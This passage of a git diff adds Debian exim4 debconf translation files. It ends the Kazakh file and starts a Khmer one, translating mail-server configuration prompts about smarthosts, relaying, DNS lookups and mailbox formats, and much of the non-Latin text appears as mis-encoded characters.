енгізу керек." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "DNS ÑұраныÑтарының Ñанын азайтып отыруды (Dial-on-Demand) қалайÑыз ба?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Қалыпты жағдайда, Exim DNS іздеуін Ð¶Ò±Ð¼Ñ‹Ñ Ð±Ð°Ñтағанда ғана Ñ–Ñке аÑырады. Бұл " +"мүмкіндік баптауда бекітіп көрÑетілген мәндерді төмендету үшін және логтау " +"мақÑаттарында жаÑалған." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Егер жүйе DNS қызметіне тұрақты түрде қатынай алмаÑа (мыÑалы интернетке " +"қашықтан қатынау пайдаланған кезде), бұл мүмкіндіктің кері Ó™Ñері тиюі " +"мүмкін. МыÑалы, Exim жұмыÑын баÑтағанда, қымбат уақыт кезінде звондау " +"орындалып кетуі мүмкін. " + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Бұл Ð¾Ð¿Ñ†Ð¸Ñ Ð¶Ò¯Ð¹Ðµ қашықтан қатынау кезінде ғана (Dial-on-Demand) таңдалуы тиіÑ. " +"Егер интернетке Ð±Ð°Ð¹Ð»Ð°Ð½Ñ‹Ñ Ó™Ñ€Ò›Ð°ÑˆÐ°Ð½ орнатылып тұрÑа, бұл опциÑны таңдау қажет " +"емеÑ." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Пошта Серверін бапту" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Баптауды кіші файлдарға бөлуді қалайÑыз ба?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Debian exim4 деÑтелері 'Ñ‚Ò±Ñ‚Ð°Ñ Ð±Ð°Ð¿Ñ‚Ð°Ñƒ', Ñғни бір файлдыдағы баптауды (/etc/" +"exim4/exim4.conf.template) немеÑе 'бөлінген баптау', Ñғни /etc/exim4/conf.d/ " +"ішіндегі 50 кіші файлдардағы баптауды пайдалана алады." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Ð¢Ò±Ñ‚Ð°Ñ Ð±Ð°Ð¿Ñ‚Ð°Ñƒ үлкен өзгеріÑтер үшін арналған. Ðл бөлінген баптау аздаған " +"өзгеріÑтер үшін ыңғайланған, алайда олардың Ñаны көп болғандықтан, байқап " +"Ð¶Ò±Ð¼Ñ‹Ñ Ñ–Ñтемегенде, баптау бұзылуы мүмкін." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Ð¢Ò±Ñ‚Ð°Ñ Ð¶Ó™Ð½Ðµ бөлінген баптау туралы толығырақ мәліметті Debian жүйеÑіне " +"қатыÑÑ‚Ñ‹ /usr/share/doc/exim4-base ішіндегі README файлдан оқуға болады." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Ð¨Ñ‹Ò“Ñ‹Ñ Ð¿Ð¾ÑˆÑ‚Ð°Ð´Ð°Ò“Ñ‹ жергілікті пошта атын жаÑыруды қалайÑыз ба?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Ð¨Ñ‹Ò“Ñ‹Ñ Ð¿Ð¾ÑˆÑ‚Ð°Ð½Ñ‹Ò£ тақырып атауы баÑқа жүйеде жаÑалғандай етіп, қайта жазылуы " +"мүмкін. Егер оÑÑ‹ Ð¾Ð¿Ñ†Ð¸Ñ Ñ‚Ð°Ò£Ð´Ð°Ð»Ñа, From, Reply-To, Sender және Return-Path " +"жолындағы '${mailname}', 'localhost' және '${dc_other_hostnames}' қайта " +"жазылады." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "/var/mail/ ішіндегі mbox пішім" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Үй бумаÑындағы Maildir пішімі" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Жергілікті поштаны жеткізу әдіÑÑ–:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim жергілікті түрде жеткізілген поштаны әр түрлі пішімде Ñақтай алады. Жиі " +"пайдаланылатыны: mbox пен Maildir. mbox пошта бумаÑын /var/mail/ ішінде бір " +"файл түрінде Ñақтайды. Maildir әрбір хабарды ~/Maildir/ ішінде жеке-жеке " +"Ñақтайды." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"ЕÑкерту: Debian құрамындағы пошталық құралдардың көбіÑÑ– жергілікті поштаның " +"жеткізу әдіÑÑ– ретінде mbox пішімін қолданады." diff --git a/debian/po/km.po b/debian/po/km.po new file mode 100644 index 0000000..5ec7f0c --- /dev/null +++ b/debian/po/km.po @@ -0,0 +1,627 @@ +# translation of km.po to Khmer +# Eng Vannak <evannak@khmeros.info>, 2006. +# Auk Piseth <piseh_dv@khmeros.info>, 2006. +# Khoem Sokhem <khoemsokhem@khmeros.info>, 2006, 2007. +msgid "" +msgstr "" +"Project-Id-Version: km\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-06-08 13:57+0700\n" +"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n" +"Language-Team: Khmer <support@khmeros.info>\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=1; plural=0;\n" +"X-Generator: KBabel 1.11.4\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "យក​សារ​ដែលមិនបានផ្ដល់​ចáŸáž‰â€‹áž“ៅ​ក្នុង​ážážâ€‹áž ុង ?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"មាន​សារ​អ៊ីមែល​មួយ​នៅ​ក្នុង​ážážâ€‹áž ុង Exim /var/spool/exim4/input/ ដែល​មិន​ážáŸ’រូវ​បានបញ្ជូននៅ​ឡើយទ០។ " +"ការ​យក​ Exim នឹង​បណ្ដាល​ឲ្យ​ពួកវា​នៅážáŸ‚​មិនបានបញ្ជូន​រហូážâ€‹ážŠáž›áŸ‹ Exim ážáŸ’រូវ​បាន​ដំឡើង​ម្ដង​ទៀហ។" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"ប្រសិន​បើ​ជម្រើស​នáŸáŸ‡â€‹áž˜áž·áž“​ážáŸ’រូវ​បាន​ជ្រើស ážážâ€‹áž ុង​ážáŸ’រូវ​ážáŸ’រូវ​បាន​រក្សាទុក សារ​ដូច​ážáž¶áž„​ក្រោម​នáŸáŸ‡â€‹áž“ៅ​ក្នុងជួរ​ážáŸ’រូវ​បញ្ជូន​" +"áž–áŸáž›áž€áŸ’រោយ​បន្ទាប់​ពី Exim ážáŸ’រូវ​បាន​ដំឡើង​ឡើង​វិញ ។" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ exim4-config ជំនួស​ឲ្យ​កញ្ចប់​នáŸáŸ‡" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 មាន​ការ​កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ​របស់វា បាន​ដាក់​ក្នុង​កញ្ចប់​ដែល​បាន​ផ្ដល់​ឲ្យ exim4-config ។ ដើម្បី​កំណážáŸ‹â€‹" +"រចនាសម្ពáŸáž“្ធ Exim4 ប្រើ 'dpkg-reconfigure exim4-config' ។" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "ážáŸ†áž”ន់​អ៊ីនធឺណិហសំបុážáŸ’រ​ážáŸ’រូវ​បាន​ផ្ញើ​ និង​​ទទួល​​ដោយ​ប្រើ​ SMTP​ផ្ទាល់" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "សំបុážáŸ’រ​បាន​ផ្ញើ​​ដោយ​ smarthost បាន​ទទួល​ážáž¶áž˜â€‹ážšáž™áŸˆ SMTP ឬ fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "សំបុážáŸ’រ​បាន​ផ្ញើ​ដោយ smarthost គ្មាន​​សំបុážáŸ’រ​មូលដ្ឋាន​ទáŸâ€‹" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "បញ្ជូន​ážáŸ‚​មូលដ្ឋាន​ប៉ុណ្ណោះ មិនមែន​នៅលើ​បណ្ážáž¶áž‰â€‹áž‘áŸ" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "គ្មាន​ការ​កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ​នៅ​ពáŸáž›â€‹áž“áŸáŸ‡â€‹â€‹" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "ប្រភáŸáž‘​ទូទៅ​នៃ​ការ​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ​សំបុážáŸ’រ ៖" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "សូម​ជ្រើស​ប្រភáŸáž‘​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ​ម៉ាស៊ីន​បម្រើ​សំបុážáŸ’ážš ដែល​ážáŸ’រូវ​នឹង​ážáž˜áŸ’រូវការ​របស់​អ្នក ។" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"ប្រពáŸáž“្ធ​ដែល​មាន​អាសយដ្ឋាន IP ážáž¶áž˜ážœáž“្ហរួមមាន​ប្រពáŸáž“្ធ​ទូសáŸáž–្ទ គួរ​ážáŸ’រូវ​បាន​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ​ជា​ទូទៅ​ដើម្បី​ផ្ញើ​" +"សំបុážáŸ’រ​ចáŸáž‰â€‹áž‘ៅ​ម៉ាស៊ីន​ផ្សáŸáž„ ដែល​គáŸâ€‹áž ៅážáž¶ \"smarthost\" សម្រាប់​បញ្ជូន ពី​ព្រោះ​ប្រពáŸáž“្ធ​ទទួល​ជា​ច្រើន​នៅ​លើ​" +"អ៊ីនធឺណិហទប់ស្កាážáŸ‹â€‹ážŸáŸ†áž”áž»ážáŸ’រ​ចូល​ពី​អាសយដ្ឋាន IP ážáž¶áž˜â€‹ážœáž“្ážáž‡áž¶â€‹áž€áž¶ážšâ€‹áž€áž¶ážšáž–ារ​សារ​ឥážâ€‹áž”ាន​ការ ។" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"ប្រពáŸáž“្ធ​មួយ​ដែល​មាន​អាសយដ្ឋាន IP ážáž¶áž˜ážœáž“្ážâ€‹áž¢áž¶áž…​ទទួល​សំបុážáŸ’រ​ផ្ទាល់​របស់​វា ឬ​ការបញ្ជូន​ក្នុង​មូលដ្ឋាន​អាច​ážáŸ’រូវ​បាន​" +"បិទ​ទាំង​មូល (លើក​លែង​ážáŸ‚​សំបុážáŸ’រ​សម្រាប់ root áž“áž·áž„ postmaster) ។" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "áž–áž·ážâ€‹áž‡áž¶â€‹áž‘ុកឲ្យ​​ប្រពáŸáž“្ធ​សំបុážáŸ’រ​​​​មិនážáŸ’រូវ​​បាន​កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ​មែន​ទáŸÂ ?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"ážšáž áž¼ážâ€‹ážŠáž›áŸ‹â€‹áž”្រពáŸáž“្ធ​សំបុážáŸ’រ​ážáŸ’រូវ​បាន​កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ វានឹ​ងážáž¼áž… ហើយ​មិន​អាច​ážáŸ’រូវ​បាន​ប្រើ ។ ការ​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ​នៅ​" +"áž–áŸáž›â€‹áž€áŸ’រោយ​អាច​ážáŸ’រូវ​បាន​ធ្វើ ឬដោយដៃ ឬដោយ​រážáŸ‹ 'dpkg-reconfigure exim4-config' \n" +"ជា root ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "ឈ្មោះ​ប្រពáŸáž“្ធ​សំបុážáŸ’រ ៖" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"\"ឈ្មោះ​សំបុážáŸ’ážš\" គឺ​ជា​ឈ្មោះ​ដែន​ដែល​បាន​ប្រើ​ដើម្បី \"បញ្ជាក់​លក្ážážŽáŸˆ\" អាសយដ្ឋាន​អ៊ីមែល​ដោយ​គ្មាន​ឈ្មោះ​" +"ដែន  ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"​ឈ្មោះ​នáŸáŸ‡â€‹áž“ឹង​ážáŸ’រូវ​បាន​ប្រើ​ផង​ដែរ​ដោយ​កម្មវិធី​ផ្សáŸáž„ ។ វា​គួរ​ážáŸ‚​មាន​ážáŸ‚មួយ ឈ្មោះ​ដែន​ដែល​បាន​បញ្ជាក់​លក្ážážŽáŸˆâ€‹" +"áž–áŸáž‰áž›áŸáž‰ (FQDN) ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"ដូច្នáŸáŸ‡ ប្រសិន​បើ​អាសយដ្ឋាន​សំបុážáŸ’រ​នៅ​លើ​ម៉ាស៊ីន​មូលដ្ឋាន​គឺ foo@example.org ážáž˜áŸ’លៃ​ážáŸ’រឹមážáŸ’រូវ​សម្រាប់​ជម្រើស​" +"áž“áŸáŸ‡â€‹áž“ឹង​ជា example.org ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"ឈ្មោះ​នáŸáŸ‡â€‹áž˜áž·áž“បង្ហាញ​​នៅ​លើ ពី នោះ​ទ០៖ បន្ទាážáŸ‹â€‹ážšáž”ស់​សារ​ចáŸáž‰â€‹áž”្រសិន​​បើ​កា​រសáŸážšážŸáŸážšâ€‹áž‡áž¶áž“់​ážáŸ’រូវ​បាន​អនុញ្ញាហ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "ទិសដៅ​ផ្សáŸáž„​ទៀហ​សម្រាប់​សំបុážáŸ’រ​ណា​មួយ​​​ážáŸ’រូវ​បាន​​ទទួល​យក ៖" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"សូម​បញ្ចូល​បញ្ជី​ដែន​អ្នក​ទទួល​ដែល​បំបែក​ដោយ​សញ្ញា(;) ដែល​ម៉ាស៊ីន​នáŸáŸ‡â€‹áž‚ួរ​ពិចារណាទិស​ដៅ​ចុង​ក្រោយ​ដោយ​ážáŸ’លួន​ឯង ។ " +"ដែន​ទាំង​នáŸáŸ‡â€‹ážáž¶áž˜â€‹áž’ម្មážáž¶â€‹ážáŸ’រូវ​បាន​ហៅ​ážáž¶ 'ដែន​មូលដ្ឋាន' ។ ឈ្មោះ​ម៉ាស៊ីន​មូលដ្ឋាន (${fqdn}) áž“áž·áž„ " +"'localhost' ážáŸ‚ង​ážáŸ‚​ážáŸ’រូវ​បាន​បន្ážáŸ‚ម​ទៅកាន់​បញ្ជី​ដែល​បានផ្ដល់​ឲ្យ​នៅ​ទីនáŸáŸ‡Â ។។" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"ážáž¶áž˜â€‹áž›áŸ†áž“ាំ​ដើម​ដែនមូលដ្ឋាន​នឹង​ážáŸ’រូវ​បាន​ធ្វើ​យ៉ាង​ដូចគ្នា​បះបិទ ។ ប្រសិន​បើ​ទាំងពីរ a.example áž“áž·áž„ b." +"example គឺជា​ដែន​មូលដ្ឋាន acc@a.example áž“áž·áž„ acc@b.example នឹង​ážáŸ’រូវ​បាន​ផ្ដល់​ទៅ​ទិសដៅ​ចុង​ក្រោយ​" +"ដូចគ្នា ។ ប្រសិន​បើ​ឈ្មោះ​ដែន​ážáž»ážŸáž‚្នា​គួរ​ážáŸ’រូវ​បាន​ធ្វើ​យ៉ាង​ដូចគ្នា​បះបិទ បន្ទាប់​មក​វា​ចាំបាច់​ážáŸ’រូវ​កែសម្រួល​" +"ឯកសារ config ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "ដែន​ážáŸ’រូវ​បញ្ជូន​សំបុážáŸ’រ​​ážážŸáž˜áŸ’រាប់ ៖" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"សូម​បញ្ចូល​បញ្ជី​ដែន​អ្នក​ទទួល​ដែល​បំបែក​ដោយ​សញ្ញា(;) សម្រាប់​ប្រពáŸáž“្ធ​នáŸáŸ‡â€‹ážŠáŸ‚ល​នឹង​បញ្ជូន​សំបុážáŸ’រ​បន្ហឧទាហរណáŸâ€‹áž‡áž¶â€‹áž…្រក​" +"áž…áŸáž‰â€‹áž…ូល MX ឬ​សំបុážáŸ’រ ។ áž“áŸáŸ‡â€‹áž˜áž¶áž“​នáŸáž™â€‹ážáž¶â€‹áž”្រពáŸáž“្ធ​នáŸáŸ‡â€‹áž“ឹង​ទទួល​សំបុážáŸ’រ​សម្រាប់​ដែន​ទាំង​នáŸáŸ‡â€‹áž–ី​កន្លែង​ណា​មួយ​នៅ​លើ " +"អ៊ីនធឹណិហនិង​បញ្ចូន​ពួក​វា​ដោយ​យោង​ážáž¶áž˜â€‹áž…្បាប់​បញ្ចូន​មូលដ្ឋាន ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "កុំ​ពិពណ៌នា​ដែន​មូលដ្ឋាន​នៅ​ទីនáŸáŸ‡Â ។ ážáž½áž¢áž€áŸ’សរ​ជំនួស​អាច​ážáŸ’រូវ​បាន​ប្រើ ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "ម៉ាស៊ីន​ážáŸ’រូវ​បញ្ជូន​​សំបុážáŸ’រ​ážâ€‹ážŸáž˜áŸ’រាប់ ៖" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"សូម​បញ្ចូល​បញ្ជី​ជួ​​រអាសយដ្ឋាន IP ដែល​បំបែក​ដោយ​សញ្ញា(;) ដែល​ប្រពáŸáž“្ធ​នáŸáŸ‡â€‹áž“ឹង​បញ្ជូន​សំបុážáŸ’ážšážâ€‹ážŠáŸ„យ​បង្ážáŸ† ដោយ​មាន​" +"មុážáž„ារ​ជា smarthost ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"អ្នក​គួរ​ážáŸ‚​ប្រើ​អាសយដ្ឋាន​ស្ážáž„់ដា/ទ្រង់ទ្រាយ​បុព្វបទ (ឧ. 194.222.242.0/24 ឬ " +"5f03:1200:836f::/48) ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "ប្រសិន​បើ​ប្រពáŸáž“្ធ​មិនគួរ​ជា smarthost សម្រាប់​ម៉ាស៊ីន​ផ្សáŸáž„ៗ​ទៀហទុក​បញ្ជី​នáŸáŸ‡â€‹áž²áŸ’យ​ទទáŸÂ ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "ឈ្មោះ​ដែន​ដែល​មើល​ឃើញ ​​សម្រាប់​អ្នក​ប្រើ​មូលដ្ឋាន ៖" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"ជម្រើស​ážáŸ’រូវ​លាក់​ឈ្មោះ​សំបុážáŸ’រ​មូលដ្ឋាន​នៅ​ក្នុង​សំបុážáŸ’រ​ចáŸáž‰â€‹ážáŸ’រូវ​បាន​បើក ។ ដូច្នáŸáŸ‡â€‹ážœáž¶â€‹áž…ាំបាច់​ážáŸ’រូវ​បញ្ជាក់​ឈ្មោះ​ដែន​" +"ប្រពáŸáž“្ធ​នáŸáŸ‡ គួរ​ប្រើ​សម្រាប់​ផ្នែក​ដែន​នៃ​អាសយដ្ឋាន​អ្នក ផ្ញើ​របស់​អ្នក​ប្រើ​មូលដ្ឋាន ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "អាសយដ្ឋាន IP ឬ​ឈ្មោះ​ម៉ាស៊ីន​របស់ smarthost áž…áŸáž‰Â ៖" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"សូម​បញ្ចូល​អាសយដ្ឋាន IP ឬ​ឈ្មោះ​ម៉ាស៊ីន​របស់​ម៉ាស៊ីន​បម្រើ​សំបុážáŸ’រ​ដែល​ប្រពáŸáž“្ធនáŸáŸ‡â€‹áž‚ួរ​ប្រើ​ជា smarthost áž…áŸáž‰Â ។ " +"ប្រសិន​បើ smarthost ទទួល​ážáŸ‚​សំបុážáŸ’រ​របស់​អ្នក​ប៉ុណ្ណោះ​នៅ​ច្រក​មួយ​ផ្សáŸáž„​ពី TCP/25 បន្ážáŸ‚ម​ážáž¶áž„​ចុង​ទៅ​សញ្ញា " +"(:) និង​លáŸážâ€‹áž…្រក (ឧទាហរណ០smarthost.example::587 ឬ 192.168.254.254::2525) ។ សញ្ញា " +"(:) នៅ​ក្នុង​អាសយដ្ឋាន IPv6 ážáŸ’រូវážáŸ‚​ដាក់​ទ្វáŸážšÂ ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"ប្រសិនបើ​ smarthost ážáŸ’រូវការ​ការ​ផ្ទៀងផ្ទាážáŸ‹â€‹áž—ាព​ážáŸ’រឹមážáŸ’រូវ សូម​យោង​ážáž¶áž˜â€‹áž¯áž€ážŸáž¶ážšâ€‹ README ជាក់លាក់​របស់​" +"ដáŸáž”ៀន​នៅ​ក្នុង /usr/share/doc/exim4-base សម្រាប់​ចំណាំ​អំពីការ​រៀបចំ​ការ​ផ្ទៀងផ្ទាážáŸ‹â€‹áž—ាព​ážáŸ’រឹមážáŸ’រូវ​" +"របស់ SMTP ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Root​ និង​អ្នក​គ្រប់គ្រង​ប្រៃសណីយáŸâ€‹áž‡áž¶â€‹â€‹áž¢áŸ’នក​ទទួល​សំបុážáŸ’រ ៖" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"សំបុážáŸ’រ​សម្រាប់ \"postmaster\" \"root\" និង​គណនី​ប្រពáŸáž“្ធ​ផ្សáŸáž„ៗ​ទៀážâ€‹ážáž˜áŸ’រូវ​ឲ្យ​ប្ដូរ​ទិស​ទៅ​គណនី​អ្នក​​ប្រើ​របស់​" +"អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​ជាក់ស្ដែង ។" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" 